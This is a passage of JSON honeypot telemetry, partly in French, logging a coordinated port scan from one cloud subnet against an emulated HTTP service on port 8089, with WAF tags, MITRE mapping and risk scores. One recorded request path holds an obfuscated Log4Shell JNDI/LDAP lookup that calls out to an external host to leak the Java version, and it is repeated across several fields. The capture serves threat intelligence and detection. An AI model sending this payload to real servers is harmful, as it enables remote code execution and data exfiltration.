\u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +24\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/login\u0022, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +24 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 6, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089, 8090], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022splunk\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 24, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022http_ssti\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8089","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022http_ssti\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":1832},{"id":14459867,"ip":"34.19.116.51","ts":"2026-07-30 18:47:27.000000","proto":"tcp","src_port":45067,"dst_port":8089,"service":"http","classification":"port_scan_syn","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"PUT","http_target":"\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:-3}${6:ei:-d}${4cm:-c}${kh:ap8:-0}${98:-f}${f4:-b}${8azg:yzg2:e1yv:-8}${xc2z:-e}${if35:t:-d}${2sb:zaw:y0db:-e}${fop:-e}${4ba:r0:td6:-8}${h37:9j2:-e}${f8e:6ouj:irw4:-2}${yjk:io6:-2}${ykr:om5:y8:-e}${0uhj:-6}${xf:of04:-e}${7:-5}${p579:z:-2}${x7:zn:-8}${0i:vdf:vi:-4}${y:q:y9n:-f}${y8:6q:-7}${a:-2}${lwg:-e}${k:n:-3}${ge3c:5f4y:a:-3}${v1:i:earp:-3}${31:o2ac:497:-8}${39y:-f}${4sga:-d}${jz:-9}${q:dct:zxq:-0}${7is5:-e}${3:d1cn:qjw:-2}${24:cfr:zs:-a}${a:-.}${1r:oz:-d}${gwkj:m:6eg:-n}${e0w:-s}${69qc:kpn:--}${uy4d:1w5p:-e}${wygq:x9:-x}${4:-f}${gzo5:-i}${95:-l}${dq:-.}${rlj:7:-m}${bp8:5:-a}${q:z:e:-s}${3lw7:-m}${fn:d:-c}${qpb:6c:-o}${q9w:gufw:-r}${w:-e}${trq:--}${4n:-c}${t:cr:-f}${u:--}${c:xa0:5:-p}${db:75m:634:-r}${k0e:n5:r:-o}${ifry:-d}${s:3q:--}${j57d:g:pm:-0}${2sze:t:-2}${0h:jmx:-.}${o5c:-m}${gtmk:-a}${42:qgcy:2:-s}${b:-m}${a:vjb5:rylq:-.}${s4fu:17ek:-c}${y:3x:-l}${xh:8cf:dtg5:-o}${5icx:p:-u}${r:6f1:kh:-d}${xfq3:-f}${lrs:vl:-e}${47m5:-r}${3bu:-r}${3:a:-y}${k4hg:u1q:y:-.}${av:lmc5:p:-g}${8:o:-o}${s:-o}${k:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${av:lmc5:p:-g}${8:o:-o}${s:-o}${k:-g}}\u0022, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u002206b11278b3d8c06d12bf6f74085c2806fc07bb05\u0022, \u0022http_target_hash\u0022: \u0022dc413d06e6f6346c85c4e3d92aa541e1cacdd63e\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022PUT\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.884222878958235, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 7.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 69, \u0022tag_count\u0022: 9, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022933524e71cf61a552cc2c16687bf4e3c8eec9583\u0022, \u0022event_fingerprint\u0022: \u002213583ec592fb45fa8427488a6e3fd03ed1d177fe\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 69, \u0022correlation_boost\u0022: 24}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022b86a29f48110c9c69ba6059f7b2b0024\u0022, \u0022path_pattern_hash\u0022: \u002264b9aa26e0ada27df86ff1d5715aa229\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 69}, \u0022method\u0022: \u0022PUT\u0022, \u0022path\u0022: \u0022\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:-3}$\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:\u0022, \u0022payload_snippet\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022PUT\u0022, \u0022path\u0022: \u0022\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:-3}$\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}${u7f:p:2cmk:-:}${r5w0:se3:gse:-j}${3ds4:-a}${uf5c:zy:fk:-v}${6zs0:n:-a}${z:0vr:ydzw:-.}${wae:dx6p:uin:-v}${ruo:efwj:-e}${kz:ez:-r}${d9ha:4:jn:-s}${36:2:75:-i}${od:-o}${j:chm:tbq:-n}}${w:yo4:-.}${g:-5}${p:-5}${l02:7onl:ko4:-7}${y:0u:6:-4}${wk3:yjtd:-3}${x5:\u0022, \u0022request_sample\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}${qfm:-c}${uhjv:ak:d:--}${${s6ku:p:-s}${d:gz:-y}${glk:-s}$\u0022, \u0022payload_snippet\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022e7cdc292111d98005349e0374a5548be51a54d55\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022PUT\u0022, \u0022http_path\u0022: \u0022\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${\u2026\u0022, \u0022request_line\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}$\u2026\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj\u2026\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 69, \u0022correlation_boost\u0022: 24}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 69, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +24\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022PUT\u0022, \u0022http_path\u0022: \u0022\/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${\u2026\u0022, \u0022request_line\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1:-:}${f:rb:-\/}${6:-\/}${a:9lb2:-P}${x52g:-A}${9:2:-l}${hqbd:u8:2mks:-0}$\u2026\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj\u2026\u0022, \u0022evidence_snippet\u0022: \u0022PUT \/${${8:4b:h3dy:-j}${yh:-n}${gu:-d}${0w:-i}${3xj5:-:}${1wkg:bqc:jpc:-l}${l82:40bi:-d}${dgy9:iec:-a}${y8:u:aum:-p}${0e8:k:dzi1\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +24 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 6, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089, 8090], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022splunk\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 24, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022http_dangerous_method\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8089","http_user_agent":"Mozilla\/5.0 